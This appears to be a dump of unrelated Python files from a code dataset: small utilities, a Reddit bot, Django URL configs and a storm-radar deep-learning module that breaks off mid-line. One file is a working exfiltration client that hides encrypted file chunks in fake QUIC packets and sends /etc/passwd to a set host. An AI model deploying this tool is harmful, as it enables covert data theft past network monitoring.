code
stringlengths
1
199k
import datetime def suffix(d): return 'th' if 11<=d<=13 else {1:'st',2:'nd',3:'rd'}.get(d%10, 'th') def custom_strftime(format, t): return t.strftime(format).replace('{S}', str(t.day) + suffix(t.day)) print "Welcome to GenerateUpdateLines, the nation's favourite automatic update line generator." start = int(raw_input("Enter initial day number: ")) stop = int(raw_input("Enter final day number: ")) t0 = datetime.date(2018, 3, 24) for d in range(start, stop+1): date = t0 + datetime.timedelta(d-1) print "| "+str(d)+" | "+custom_strftime("%a {S} %B", date)+" | | |"
import praw import re import os import pickle from array import * import random REPLY = array('i',["I want all the bacon and eggs you have", "I know what I'm about son", "I'm not interested in caring about people", "Is this not rap?"]) if not os.path.isfile("inigo_config.txt"): print "You must create the file swanson_config.txt with the pickled credentials." exit(1) else: print "Loading credentials" user_data = pickle.load( open("swanson_config.txt","rb")) #print user_data user_agent = ("Swanson bot 0.1 created by /u/dcooper2.") r = praw.Reddit(user_agent=user_agent) r.login(user_data[0], user_data[1]) del user_data print "Successfully logged in" if not os.path.isfile("replies.txt"): replies = [] else: print "Loading previous reply ids" with open("replies.txt", "r") as f: replies = f.read() replies = replies.split("\n") replies = filter(None, replies) subreddit = r.get_subreddit('umw_cpsc470Z') print "Checking for new posts" for submission in subreddit.get_hot(limit=10): print "Checking submission ", submission.id if submission.id not in replies: if re.search("Ron Swanson", submission.title, re.IGNORECASE) or re.search("Ron Swanson", submission.selftext, re.IGNORECASE): x = random.randint(0,3) submission.add_comment(REPLY[x]) print "Bot replying to submission: ", submission.id replies.append(submission.id) print "Checking comments" flat_comments = praw.helpers.flatten_tree(submission.comments) for comment in flat_comments: if comment.id not in replies: if re.search("Ron Swanson", comment.body, re.IGNORECASE): y = random.randint(0,3) print "Bot replying to comment: ", comment.id comment.reply(REPLY[y]) replies.append(comment.id) print "Saving ids to file" with open("replies.txt", "w") as f: for i in replies: f.write(i + "\n")
from __future__ import absolute_import, unicode_literals from django.conf import settings from django.conf.urls import include, url from django.contrib import admin from django.contrib.auth import urls as djangoauth_urls from search import views as search_views from blog import views as blog_views from wagtail.wagtailadmin import urls as wagtailadmin_urls from wagtail.wagtailcore import urls as wagtail_urls from wagtail.wagtaildocs import urls as wagtaildocs_urls urlpatterns = [ url(r'^', include(djangoauth_urls)), url(r'^django-admin/', include(admin.site.urls)), url(r'^admin/', include(wagtailadmin_urls)), url(r'^documents/', include(wagtaildocs_urls)), url(r'^search/$', search_views.search, name='search'), # For anything not caught by a more specific rule above, hand over to # Wagtail's page serving mechanism. This should be the last pattern in # the list: url(r'', include(wagtail_urls)), # Alternatively, if you want Wagtail pages to be served from a subpath # of your site, rather than the site root: # url(r'^pages/', include(wagtail_urls)), ] if settings.DEBUG: from django.conf.urls.static import static from django.contrib.staticfiles.urls import staticfiles_urlpatterns # Serve static and media files from development server urlpatterns += staticfiles_urlpatterns() urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)
from django.conf.urls import patterns, url from links import views urlpatterns = patterns('links.views', url(r'^link/settings/$', views.settings, name = 'settings'), url(r'^link/donate/(?P<url>[\d\w.]+)$', views.kintera_redirect, name = 'donate'), url(r'^link/rider/(?P<url>[\d\w.]+)$', views.t4k_redirect, name = 'profile'), )
def get_planet_name(id): switch = { 1: "Mercury", 2: "Venus", 3: "Earth", 4: "Mars", 5: "Jupiter", 6: "Saturn", 7: "Uranus" , 8: "Neptune"} return switch[id]
import sys import time import socket import struct import random import hashlib import urllib2 from Crypto import Random from Crypto.Cipher import AES timeout = 2 socket.setdefaulttimeout(timeout) limit = 256*256*256*256 - 1 def md5(fname): hash_md5 = hashlib.md5() with open(fname, "rb") as f: for chunk in iter(lambda: f.read(4096), b""): hash_md5.update(chunk) return hash_md5.hexdigest() def chunkstring(s, n): return [ s[i:i+n] for i in xrange(0, len(s), n) ] class AESCipher(object): def __init__(self, key): self.bs = 32 self.key = hashlib.sha256(key.encode()).digest() def encrypt(self, raw): raw = self._pad(raw) iv = Random.new().read(AES.block_size) cipher = AES.new(self.key, AES.MODE_CBC, iv) return iv + cipher.encrypt(raw) def decrypt(self, enc): # enc = base64.b64decode(enc) iv = enc[:AES.block_size] cipher = AES.new(self.key, AES.MODE_CBC, iv) return self._unpad(cipher.decrypt(enc[AES.block_size:])).decode('utf-8') def _pad(self, s): return s + (self.bs - len(s) % self.bs) * chr(self.bs - len(s) % self.bs) @staticmethod def _unpad(s): return s[:-ord(s[len(s)-1:])] class QUICClient(): def __init__(self, host, key, port=443, max_size=4096): # Params for all class self.host = host self.port = port self.max_size = max_size - 60 self.AESDriver = AESCipher(key=key) self.serv_addr = (host, port) # Class Globals self.max_packets = 255 # Limitation by QUIC itself. self._genSeq() # QUIC Sequence is used to know that this is the same sequence, # and it's a 20 byte long that is kept the same through out the # session and is transfered hex encoded. self.delay = 0.1 self.sock = None if self._createSocket() is 1: # Creating a UDP socket object sys.exit(1) self.serv_addr = (self.host, self.port) # Creating socket addr format def _genSeq(self): self.raw_sequence = random.getrandbits(64) parts = [] while self.raw_sequence: parts.append(self.raw_sequence & limit) self.raw_sequence >>= 32 self.sequence = struct.pack('<' + 'L'*len(parts), *parts) # struct.unpack('<LL', '\xb1l\x1c\xb1\x11"\x10\xf4') return 0 def _createSocket(self): try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) self.sock = sock return 0 except socket.error as e: sys.stderr.write("[!]\tFailed to create a UDP socket.\n%s.\n" % e) return 1 def _getQUICHeader(self, count): if type(count) is not hex: try: count_id = chr(count) except: sys.stderr.write("Count must be int or hex.\n") return 1 else: count_id = count if count > self.max_packets: sys.stderr.write("[-]\tCount must be maximum of 255.\n") return 1 header = "\x0c" # Public Flags header += self.sequence # Adding CID header += count_id # Packet Count return header def _getFileContent(self, file_path): try: f = open(file_path, 'rb') data = f.read() f.close() sys.stdout.write("[+]\tFile '%s' was loaded for exfiltration.\n" % file_path) return data except IOError, e: sys.stderr.write("[-]\tUnable to read file '%s'.\n%s.\n" % (file_path, e)) return 1 def sendFile(self, file_path): # Get File content data = self._getFileContent(file_path) if data == 1: return 1 # Check that the file is not too big. if len(data) > (self.max_packets * self.max_size): sys.stderr.write("[!]\tFile is too big for export.\n") return 1 # If the file is not too big, start exfiltration # Exfiltrate first packet md5_sum = md5(file_path) # Get MD5 sum of file packets_count = (len(data) / self.max_size)+1 # Total packets first_packet = self._getQUICHeader(count=0) # Get header for first file r_data = "%s;%s;%s" % (file_path, md5_sum, packets_count) # First header r_data = self.AESDriver.encrypt(r_data) # Encrypt data self.sock.sendto(first_packet + r_data, self.serv_addr) # Send the data sys.stdout.write("[+]\tSent initiation packet.\n") # encrypted_content = self.AESDriver.encrypt(data) # Encrypt the Chunks raw_dat = "" chunks = [] while data: raw_dat += data[:self.max_size] enc_chunk = self.AESDriver.encrypt(data[:self.max_size]) print len(enc_chunk) chunks.append(enc_chunk) data = data[self.max_size:] i = 1 for chunk in chunks: this_data = self._getQUICHeader(count=i) this_data += chunk self.sock.sendto(this_data, self.serv_addr) time.sleep(self.delay) sys.stdout.write("[+]\tSent chunk %s/%s.\n" % (i, packets_count)) i += 1 sys.stdout.write("[+]\tFinished sending file '%s' to '%s:%s'.\n" % (file_path, self.host, self.port)) # self.sequence = struct.pack('<' + 'L'*len(parts), *parts) return 0 def close(self): time.sleep(0.1) self.sock.close() return 0 if __name__ == "__main__": client = QUICClient(host='127.0.0.1', key="123", port=443) # Setup a server a = struct.unpack('<LL', client.sequence) # Get CID used a = (a[1] << 32) + a[0] sys.stdout.write("[.]\tExfiltrating with CID: %s.\n" % a) client.sendFile("/etc/passwd") # Exfil File client.close() # Close
"""Deals with input examples for deep learning. One "input example" is one storm object. --- NOTATION --- The following letters will be used throughout this module. E = number of examples (storm objects) M = number of rows in each radar image N = number of columns in each radar image H_r = number of radar heights F_r = number of radar fields (or "variables" or "channels") H_s = number of sounding heights F_s = number of sounding fields (or "variables" or "channels") C = number of radar field/height pairs """ import copy import glob import os.path import numpy import netCDF4 from gewittergefahr.gg_utils import radar_utils from gewittergefahr.gg_utils import soundings from gewittergefahr.gg_utils import target_val_utils from gewittergefahr.gg_utils import time_conversion from gewittergefahr.gg_utils import number_rounding from gewittergefahr.gg_utils import temperature_conversions as temp_conversion from gewittergefahr.gg_utils import storm_tracking_utils as tracking_utils from gewittergefahr.gg_utils import file_system_utils from gewittergefahr.gg_utils import error_checking from gewittergefahr.deep_learning import storm_images from gewittergefahr.deep_learning import deep_learning_utils as dl_utils SEPARATOR_STRING = '\n\n' + '*' * 50 + '\n\n' BATCH_NUMBER_REGEX = '[0-9][0-9][0-9][0-9][0-9][0-9][0-9]' TIME_FORMAT_IN_FILE_NAMES = '%Y-%m-%d-%H%M%S' DEFAULT_NUM_EXAMPLES_PER_OUT_CHUNK = 8 DEFAULT_NUM_EXAMPLES_PER_OUT_FILE = 128 NUM_BATCHES_PER_DIRECTORY = 1000 AZIMUTHAL_SHEAR_FIELD_NAMES = [ radar_utils.LOW_LEVEL_SHEAR_NAME, radar_utils.MID_LEVEL_SHEAR_NAME ] TARGET_NAMES_KEY = 'target_names' ROTATED_GRIDS_KEY = 'rotated_grids' ROTATED_GRID_SPACING_KEY = 'rotated_grid_spacing_metres' FULL_IDS_KEY = 'full_storm_id_strings' STORM_TIMES_KEY = 'storm_times_unix_sec' TARGET_MATRIX_KEY = 'target_matrix' RADAR_IMAGE_MATRIX_KEY = 'radar_image_matrix' RADAR_FIELDS_KEY = 'radar_field_names' RADAR_HEIGHTS_KEY = 'radar_heights_m_agl' SOUNDING_FIELDS_KEY = 'sounding_field_names' SOUNDING_MATRIX_KEY = 'sounding_matrix' SOUNDING_HEIGHTS_KEY = 'sounding_heights_m_agl' REFL_IMAGE_MATRIX_KEY = 'reflectivity_image_matrix_dbz' AZ_SHEAR_IMAGE_MATRIX_KEY = 'az_shear_image_matrix_s01' MAIN_KEYS = [ FULL_IDS_KEY, STORM_TIMES_KEY, RADAR_IMAGE_MATRIX_KEY, REFL_IMAGE_MATRIX_KEY, AZ_SHEAR_IMAGE_MATRIX_KEY, TARGET_MATRIX_KEY, SOUNDING_MATRIX_KEY ] REQUIRED_MAIN_KEYS = [ FULL_IDS_KEY, STORM_TIMES_KEY, TARGET_MATRIX_KEY ] METADATA_KEYS = [ TARGET_NAMES_KEY, ROTATED_GRIDS_KEY, ROTATED_GRID_SPACING_KEY, RADAR_FIELDS_KEY, RADAR_HEIGHTS_KEY, SOUNDING_FIELDS_KEY, SOUNDING_HEIGHTS_KEY ] TARGET_NAME_KEY = 'target_name' TARGET_VALUES_KEY = 'target_values' EXAMPLE_DIMENSION_KEY = 'storm_object' ROW_DIMENSION_KEY = 'grid_row' COLUMN_DIMENSION_KEY = 'grid_column' REFL_ROW_DIMENSION_KEY = 'reflectivity_grid_row' REFL_COLUMN_DIMENSION_KEY = 'reflectivity_grid_column' AZ_SHEAR_ROW_DIMENSION_KEY = 'az_shear_grid_row' AZ_SHEAR_COLUMN_DIMENSION_KEY = 'az_shear_grid_column' RADAR_FIELD_DIM_KEY = 'radar_field' RADAR_HEIGHT_DIM_KEY = 'radar_height' RADAR_CHANNEL_DIM_KEY = 'radar_channel' SOUNDING_FIELD_DIM_KEY = 'sounding_field' SOUNDING_HEIGHT_DIM_KEY = 'sounding_height' TARGET_VARIABLE_DIM_KEY = 'target_variable' STORM_ID_CHAR_DIM_KEY = 'storm_id_character' RADAR_FIELD_CHAR_DIM_KEY = 'radar_field_name_character' SOUNDING_FIELD_CHAR_DIM_KEY = 'sounding_field_name_character' TARGET_NAME_CHAR_DIM_KEY = 'target_name_character' RADAR_FIELD_KEY = 'radar_field_name' OPERATION_NAME_KEY = 'operation_name' MIN_HEIGHT_KEY = 'min_height_m_agl' MAX_HEIGHT_KEY = 'max_height_m_agl' MIN_OPERATION_NAME = 'min' MAX_OPERATION_NAME = 'max' MEAN_OPERATION_NAME = 'mean' VALID_LAYER_OPERATION_NAMES = [ MIN_OPERATION_NAME, MAX_OPERATION_NAME, MEAN_OPERATION_NAME ] OPERATION_NAME_TO_FUNCTION_DICT = { MIN_OPERATION_NAME: numpy.min, MAX_OPERATION_NAME: numpy.max, MEAN_OPERATION_NAME: numpy.mean } MIN_RADAR_HEIGHTS_KEY = 'min_radar_heights_m_agl' MAX_RADAR_HEIGHTS_KEY = 'max_radar_heights_m_agl' RADAR_LAYER_OPERATION_NAMES_KEY = 'radar_layer_operation_names' def _read_soundings(sounding_file_name, sounding_field_names, radar_image_dict): """Reads storm-centered soundings and matches w storm-centered radar imgs. :param sounding_file_name: Path to input file (will be read by `soundings.read_soundings`). :param sounding_field_names: See doc for `soundings.read_soundings`. :param radar_image_dict: Dictionary created by `storm_images.read_storm_images`. :return: sounding_dict: Dictionary created by `soundings.read_soundings`. :return: radar_image_dict: Same as input, but excluding storm objects with no sounding. """ print('Reading data from: "{0:s}"...'.format(sounding_file_name)) sounding_dict, _ = soundings.read_soundings( netcdf_file_name=sounding_file_name, field_names_to_keep=sounding_field_names, full_id_strings_to_keep=radar_image_dict[storm_images.FULL_IDS_KEY], init_times_to_keep_unix_sec=radar_image_dict[ storm_images.VALID_TIMES_KEY] ) num_examples_with_soundings = len(sounding_dict[soundings.FULL_IDS_KEY]) if num_examples_with_soundings == 0: return None, None radar_full_id_strings = numpy.array( radar_image_dict[storm_images.FULL_IDS_KEY] ) orig_storm_times_unix_sec = ( radar_image_dict[storm_images.VALID_TIMES_KEY] + 0 ) indices_to_keep = [] for i in range(num_examples_with_soundings): this_index = numpy.where(numpy.logical_and( radar_full_id_strings == sounding_dict[soundings.FULL_IDS_KEY][i], orig_storm_times_unix_sec == sounding_dict[soundings.INITIAL_TIMES_KEY][i] ))[0][0] indices_to_keep.append(this_index) indices_to_keep = numpy.array(indices_to_keep, dtype=int) radar_image_dict[storm_images.STORM_IMAGE_MATRIX_KEY] = radar_image_dict[ storm_images.STORM_IMAGE_MATRIX_KEY ][indices_to_keep, ...] radar_image_dict[storm_images.FULL_IDS_KEY] = sounding_dict[ soundings.FULL_IDS_KEY ] radar_image_dict[storm_images.VALID_TIMES_KEY] = sounding_dict[ soundings.INITIAL_TIMES_KEY ] return sounding_dict, radar_image_dict def _create_2d_examples( radar_file_names, full_id_strings, storm_times_unix_sec, target_matrix, sounding_file_name=None, sounding_field_names=None): """Creates 2-D examples for one file time. E = number of desired examples (storm objects) e = number of examples returned T = number of target variables :param radar_file_names: length-C list of paths to storm-centered radar images. Files will be read by `storm_images.read_storm_images`. :param full_id_strings: length-E list with full IDs of storm objects to return. :param storm_times_unix_sec: length-E numpy array with valid times of storm objects to return. :param target_matrix: E-by-T numpy array of target values (integer class labels). :param sounding_file_name: Path to sounding file (will be read by `soundings.read_soundings`). If `sounding_file_name is None`, examples will not include soundings. :param sounding_field_names: See doc for `soundings.read_soundings`. :return: example_dict: Same as input for `write_example_file`, but without key "target_names". """ orig_full_id_strings = copy.deepcopy(full_id_strings) orig_storm_times_unix_sec = storm_times_unix_sec + 0 print('Reading data from: "{0:s}"...'.format(radar_file_names[0])) this_radar_image_dict = storm_images.read_storm_images( netcdf_file_name=radar_file_names[0], full_id_strings_to_keep=full_id_strings, valid_times_to_keep_unix_sec=storm_times_unix_sec) if this_radar_image_dict is None: return None if sounding_file_name is None: sounding_matrix = None sounding_field_names = None sounding_heights_m_agl = None else: sounding_dict, this_radar_image_dict = _read_soundings( sounding_file_name=sounding_file_name, sounding_field_names=sounding_field_names, radar_image_dict=this_radar_image_dict) if this_radar_image_dict is None: return None if len(this_radar_image_dict[storm_images.FULL_IDS_KEY]) == 0: return None sounding_matrix = sounding_dict[soundings.SOUNDING_MATRIX_KEY] sounding_field_names = sounding_dict[soundings.FIELD_NAMES_KEY] sounding_heights_m_agl = sounding_dict[soundings.HEIGHT_LEVELS_KEY] full_id_strings = this_radar_image_dict[storm_images.FULL_IDS_KEY] storm_times_unix_sec = this_radar_image_dict[storm_images.VALID_TIMES_KEY] these_indices = tracking_utils.find_storm_objects( all_id_strings=orig_full_id_strings, all_times_unix_sec=orig_storm_times_unix_sec, id_strings_to_keep=full_id_strings, times_to_keep_unix_sec=storm_times_unix_sec, allow_missing=False) target_matrix = target_matrix[these_indices, :] num_channels = len(radar_file_names) tuple_of_image_matrices = () for j in range(num_channels): if j != 0: print('Reading data from: "{0:s}"...'.format(radar_file_names[j])) this_radar_image_dict = storm_images.read_storm_images( netcdf_file_name=radar_file_names[j], full_id_strings_to_keep=full_id_strings, valid_times_to_keep_unix_sec=storm_times_unix_sec) tuple_of_image_matrices += ( this_radar_image_dict[storm_images.STORM_IMAGE_MATRIX_KEY], ) radar_field_names = [ storm_images.image_file_name_to_field(f) for f in radar_file_names ] radar_heights_m_agl = numpy.array( [storm_images.image_file_name_to_height(f) for f in radar_file_names], dtype=int ) example_dict = { FULL_IDS_KEY: full_id_strings, STORM_TIMES_KEY: storm_times_unix_sec, RADAR_FIELDS_KEY: radar_field_names, RADAR_HEIGHTS_KEY: radar_heights_m_agl, ROTATED_GRIDS_KEY: this_radar_image_dict[storm_images.ROTATED_GRIDS_KEY], ROTATED_GRID_SPACING_KEY: this_radar_image_dict[storm_images.ROTATED_GRID_SPACING_KEY], RADAR_IMAGE_MATRIX_KEY: dl_utils.stack_radar_fields( tuple_of_image_matrices), TARGET_MATRIX_KEY: target_matrix } if sounding_file_name is not None: example_dict.update({ SOUNDING_FIELDS_KEY: sounding_field_names, SOUNDING_HEIGHTS_KEY: sounding_heights_m_agl, SOUNDING_MATRIX_KEY: sounding_matrix }) return example_dict def _create_3d_examples( radar_file_name_matrix, full_id_strings, storm_times_unix_sec, target_matrix, sounding_file_name=None, sounding_field_names=None): """Creates 3-D examples for one file time. :param radar_file_name_matrix: numpy array (F_r x H_r) of paths to storm- centered radar images. Files will be read by `storm_images.read_storm_images`. :param full_id_strings: See doc for `_create_2d_examples`. :param storm_times_unix_sec: Same. :param target_matrix: Same. :param sounding_file_name: Same. :param sounding_field_names: Same. :return: example_dict: Same. """ orig_full_id_strings = copy.deepcopy(full_id_strings) orig_storm_times_unix_sec = storm_times_unix_sec + 0 print('Reading data from: "{0:s}"...'.format(radar_file_name_matrix[0, 0])) this_radar_image_dict = storm_images.read_storm_images( netcdf_file_name=radar_file_name_matrix[0, 0], full_id_strings_to_keep=full_id_strings, valid_times_to_keep_unix_sec=storm_times_unix_sec) if this_radar_image_dict is None: return None if sounding_file_name is None: sounding_matrix = None sounding_field_names = None sounding_heights_m_agl = None else: sounding_dict, this_radar_image_dict = _read_soundings( sounding_file_name=sounding_file_name, sounding_field_names=sounding_field_names, radar_image_dict=this_radar_image_dict) if this_radar_image_dict is None: return None if len(this_radar_image_dict[storm_images.FULL_IDS_KEY]) == 0: return None sounding_matrix = sounding_dict[soundings.SOUNDING_MATRIX_KEY] sounding_field_names = sounding_dict[soundings.FIELD_NAMES_KEY] sounding_heights_m_agl = sounding_dict[soundings.HEIGHT_LEVELS_KEY] full_id_strings = this_radar_image_dict[storm_images.FULL_IDS_KEY] storm_times_unix_sec = this_radar_image_dict[storm_images.VALID_TIMES_KEY] these_indices = tracking_utils.find_storm_objects( all_id_strings=orig_full_id_strings, all_times_unix_sec=orig_storm_times_unix_sec, id_strings_to_keep=full_id_strings, times_to_keep_unix_sec=storm_times_unix_sec, allow_missing=False) target_matrix = target_matrix[these_indices, :] num_radar_fields = radar_file_name_matrix.shape[0] num_radar_heights = radar_file_name_matrix.shape[1] tuple_of_4d_image_matrices = () for k in range(num_radar_heights): tuple_of_3d_image_matrices = () for j in range(num_radar_fields): if not j == k == 0: print('Reading data from: "{0:s}"...'.format( radar_file_name_matrix[j, k] )) this_radar_image_dict = storm_images.read_storm_images( netcdf_file_name=radar_file_name_matrix[j, k], full_id_strings_to_keep=full_id_strings, valid_times_to_keep_unix_sec=storm_times_unix_sec) tuple_of_3d_image_matrices += ( this_radar_image_dict[storm_images.STORM_IMAGE_MATRIX_KEY], ) tuple_of_4d_image_matrices += ( dl_utils.stack_radar_fields(tuple_of_3d_image_matrices), ) radar_field_names = [ storm_images.image_file_name_to_field(f) for f in radar_file_name_matrix[:, 0] ] radar_heights_m_agl = numpy.array([ storm_images.image_file_name_to_height(f) for f in radar_file_name_matrix[0, :] ], dtype=int) example_dict = { FULL_IDS_KEY: full_id_strings, STORM_TIMES_KEY: storm_times_unix_sec, RADAR_FIELDS_KEY: radar_field_names, RADAR_HEIGHTS_KEY: radar_heights_m_agl, ROTATED_GRIDS_KEY: this_radar_image_dict[storm_images.ROTATED_GRIDS_KEY], ROTATED_GRID_SPACING_KEY: this_radar_image_dict[storm_images.ROTATED_GRID_SPACING_KEY], RADAR_IMAGE_MATRIX_KEY: dl_utils.stack_radar_heights( tuple_of_4d_image_matrices), TARGET_MATRIX_KEY: target_matrix } if sounding_file_name is not None: example_dict.update({ SOUNDING_FIELDS_KEY: sounding_field_names, SOUNDING_HEIGHTS_KEY: sounding_heights_m_agl, SOUNDING_MATRIX_KEY: sounding_matrix }) return example_dict def _create_2d3d_examples_myrorss( azimuthal_shear_file_names, reflectivity_file_names, full_id_strings, storm_times_unix_sec, target_matrix, sounding_file_name=None, sounding_field_names=None): """Creates hybrid 2D-3D examples for one file time. Fields in 2-D images: low-level and mid-level azimuthal shear Field in 3-D images: reflectivity :param azimuthal_shear_file_names: length-2 list of paths to storm-centered azimuthal-shear images. The first (second) file should be (low) mid-level azimuthal shear. Files will be read by `storm_images.read_storm_images`. :param reflectivity_file_names: length-H list of paths to storm-centered reflectivity images, where H = number of reflectivity heights. Files will be read by `storm_images.read_storm_images`. :param full_id_strings: See doc for `_create_2d_examples`. :param storm_times_unix_sec: Same. :param target_matrix: Same. :param sounding_file_name: Same. :param sounding_field_names: Same. :return: example_dict: Same. """ orig_full_id_strings = copy.deepcopy(full_id_strings) orig_storm_times_unix_sec = storm_times_unix_sec + 0 print('Reading data from: "{0:s}"...'.format(reflectivity_file_names[0])) this_radar_image_dict = storm_images.read_storm_images( netcdf_file_name=reflectivity_file_names[0], full_id_strings_to_keep=full_id_strings, valid_times_to_keep_unix_sec=storm_times_unix_sec) if this_radar_image_dict is None: return None if sounding_file_name is None: sounding_matrix = None sounding_field_names = None sounding_heights_m_agl = None else: sounding_dict, this_radar_image_dict = _read_soundings( sounding_file_name=sounding_file_name, sounding_field_names=sounding_field_names, radar_image_dict=this_radar_image_dict) if this_radar_image_dict is None: return None if len(this_radar_image_dict[storm_images.FULL_IDS_KEY]) == 0: return None sounding_matrix = sounding_dict[soundings.SOUNDING_MATRIX_KEY] sounding_field_names = sounding_dict[soundings.FIELD_NAMES_KEY] sounding_heights_m_agl = sounding_dict[soundings.HEIGHT_LEVELS_KEY] full_id_strings = this_radar_image_dict[storm_images.FULL_IDS_KEY] storm_times_unix_sec = this_radar_image_dict[storm_images.VALID_TIMES_KEY] these_indices = tracking_utils.find_storm_objects( all_id_strings=orig_full_id_strings, all_times_unix_sec=orig_storm_times_unix_sec, id_strings_to_keep=full_id_strings, times_to_keep_unix_sec=storm_times_unix_sec, allow_missing=False) target_matrix = target_matrix[these_indices, :] azimuthal_shear_field_names = [ storm_images.image_file_name_to_field(f) for f in azimuthal_shear_file_names ] reflectivity_heights_m_agl = numpy.array([ storm_images.image_file_name_to_height(f) for f in reflectivity_file_names ], dtype=int) num_reflectivity_heights = len(reflectivity_file_names) tuple_of_image_matrices = () for j in range(num_reflectivity_heights): if j != 0: print('Reading data from: "{0:s}"...'.format( reflectivity_file_names[j] )) this_radar_image_dict = storm_images.read_storm_images( netcdf_file_name=reflectivity_file_names[j], full_id_strings_to_keep=full_id_strings, valid_times_to_keep_unix_sec=storm_times_unix_sec) this_matrix = numpy.expand_dims( this_radar_image_dict[storm_images.STORM_IMAGE_MATRIX_KEY], axis=-1 ) tuple_of_image_matrices += (this_matrix,) example_dict = { FULL_IDS_KEY: full_id_strings, STORM_TIMES_KEY: storm_times_unix_sec, RADAR_FIELDS_KEY: azimuthal_shear_field_names, RADAR_HEIGHTS_KEY: reflectivity_heights_m_agl, ROTATED_GRIDS_KEY: this_radar_image_dict[storm_images.ROTATED_GRIDS_KEY], ROTATED_GRID_SPACING_KEY: this_radar_image_dict[storm_images.ROTATED_GRID_SPACING_KEY], REFL_IMAGE_MATRIX_KEY: dl_utils.stack_radar_heights( tuple_of_image_matrices), TARGET_MATRIX_KEY: target_matrix } if sounding_file_name is not None: example_dict.update({ SOUNDING_FIELDS_KEY: sounding_field_names, SOUNDING_HEIGHTS_KEY: sounding_heights_m_agl, SOUNDING_MATRIX_KEY: sounding_matrix }) num_az_shear_fields = len(azimuthal_shear_file_names) tuple_of_image_matrices = () for j in range(num_az_shear_fields): print('Reading data from: "{0:s}"...'.format( azimuthal_shear_file_names[j] )) this_radar_image_dict = storm_images.read_storm_images( netcdf_file_name=azimuthal_shear_file_names[j], full_id_strings_to_keep=full_id_strings, valid_times_to_keep_unix_sec=storm_times_unix_sec) tuple_of_image_matrices += ( this_radar_image_dict[storm_images.STORM_IMAGE_MATRIX_KEY], ) example_dict.update({ AZ_SHEAR_IMAGE_MATRIX_KEY: dl_utils.stack_radar_fields( tuple_of_image_matrices) }) return example_dict def _read_metadata_from_example_file(netcdf_file_name, include_soundings): """Reads metadata from file with input examples. :param netcdf_file_name: Path to input file. :param include_soundings: Boolean flag. If True and file contains soundings, this method will return keys "sounding_field_names" and "sounding_heights_m_agl". Otherwise, will not return said keys. :return: example_dict: Dictionary with the following keys (explained in doc to `write_example_file`). example_dict['full_id_strings'] example_dict['storm_times_unix_sec'] example_dict['radar_field_names'] example_dict['radar_heights_m_agl'] example_dict['rotated_grids'] example_dict['rotated_grid_spacing_metres'] example_dict['target_names'] example_dict['sounding_field_names'] example_dict['sounding_heights_m_agl'] :return: netcdf_dataset: Instance of `netCDF4.Dataset`, which can be used to keep reading file. """ netcdf_dataset = netCDF4.Dataset(netcdf_file_name) include_soundings = ( include_soundings and SOUNDING_FIELDS_KEY in netcdf_dataset.variables ) example_dict = { ROTATED_GRIDS_KEY: bool(getattr(netcdf_dataset, ROTATED_GRIDS_KEY)), TARGET_NAMES_KEY: [ str(s) for s in netCDF4.chartostring(netcdf_dataset.variables[TARGET_NAMES_KEY][:]) ], FULL_IDS_KEY: [ str(s) for s in netCDF4.chartostring(netcdf_dataset.variables[FULL_IDS_KEY][:]) ], STORM_TIMES_KEY: numpy.array( netcdf_dataset.variables[STORM_TIMES_KEY][:], dtype=int ), RADAR_FIELDS_KEY: [ str(s) for s in netCDF4.chartostring(netcdf_dataset.variables[RADAR_FIELDS_KEY][:]) ], RADAR_HEIGHTS_KEY: numpy.array( netcdf_dataset.variables[RADAR_HEIGHTS_KEY][:], dtype=int ) } # TODO(thunderhoser): This is a HACK to deal with bad files. example_dict[TARGET_NAMES_KEY] = [ n for n in example_dict[TARGET_NAMES_KEY] if n != '' ] if example_dict[ROTATED_GRIDS_KEY]: example_dict[ROTATED_GRID_SPACING_KEY] = getattr( netcdf_dataset, ROTATED_GRID_SPACING_KEY) else: example_dict[ROTATED_GRID_SPACING_KEY] = None if not include_soundings: return example_dict, netcdf_dataset example_dict.update({ SOUNDING_FIELDS_KEY: [ str(s) for s in netCDF4.chartostring( netcdf_dataset.variables[SOUNDING_FIELDS_KEY][:]) ], SOUNDING_HEIGHTS_KEY: numpy.array(netcdf_dataset.variables[SOUNDING_HEIGHTS_KEY][:], dtype=int) }) return example_dict, netcdf_dataset def _compare_metadata(netcdf_dataset, example_dict): """Compares metadata between existing NetCDF file and new batch of examples. This method contains a large number of `assert` statements. If any of the `assert` statements fails, this method will error out. :param netcdf_dataset: Instance of `netCDF4.Dataset`. :param example_dict: See doc for `write_examples_with_3d_radar`. :raises: ValueError: if the two sets have different metadata. """ include_soundings = SOUNDING_MATRIX_KEY in example_dict orig_example_dict = { TARGET_NAMES_KEY: [ str(s) for s in netCDF4.chartostring(netcdf_dataset.variables[TARGET_NAMES_KEY][:]) ], ROTATED_GRIDS_KEY: bool(getattr(netcdf_dataset, ROTATED_GRIDS_KEY)), RADAR_FIELDS_KEY: [ str(s) for s in netCDF4.chartostring( netcdf_dataset.variables[RADAR_FIELDS_KEY][:]) ], RADAR_HEIGHTS_KEY: numpy.array( netcdf_dataset.variables[RADAR_HEIGHTS_KEY][:], dtype=int ) } if example_dict[ROTATED_GRIDS_KEY]: orig_example_dict[ROTATED_GRID_SPACING_KEY] = int( getattr(netcdf_dataset, ROTATED_GRID_SPACING_KEY) ) if include_soundings: orig_example_dict[SOUNDING_FIELDS_KEY] = [ str(s) for s in netCDF4.chartostring( netcdf_dataset.variables[SOUNDING_FIELDS_KEY][:]) ] orig_example_dict[SOUNDING_HEIGHTS_KEY] = numpy.array( netcdf_dataset.variables[SOUNDING_HEIGHTS_KEY][:], dtype=int ) for this_key in orig_example_dict: if isinstance(example_dict[this_key], numpy.ndarray): if numpy.array_equal(example_dict[this_key], orig_example_dict[this_key]): continue else: if example_dict[this_key] == orig_example_dict[this_key]: continue error_string = ( '\n"{0:s}" in existing NetCDF file:\n{1:s}\n\n"{0:s}" in new batch ' 'of examples:\n{2:s}\n\n' ).format( this_key, str(orig_example_dict[this_key]), str(example_dict[this_key]) ) raise ValueError(error_string) def _filter_examples_by_class(target_values, downsampling_dict, test_mode=False): """Filters examples by target value. E = number of examples :param target_values: length-E numpy array of target values (integer class labels). :param downsampling_dict: Dictionary, where each key is the integer ID for a target class (-2 for "dead storm") and the corresponding value is the number of examples desired from said class. If `downsampling_dict is None`, `example_dict` will be returned without modification. :param test_mode: Never mind. Just leave this alone. :return: indices_to_keep: 1-D numpy array with indices of examples to keep. These are all integers in [0, E - 1]. """ num_examples = len(target_values) if downsampling_dict is None: return numpy.linspace(0, num_examples - 1, 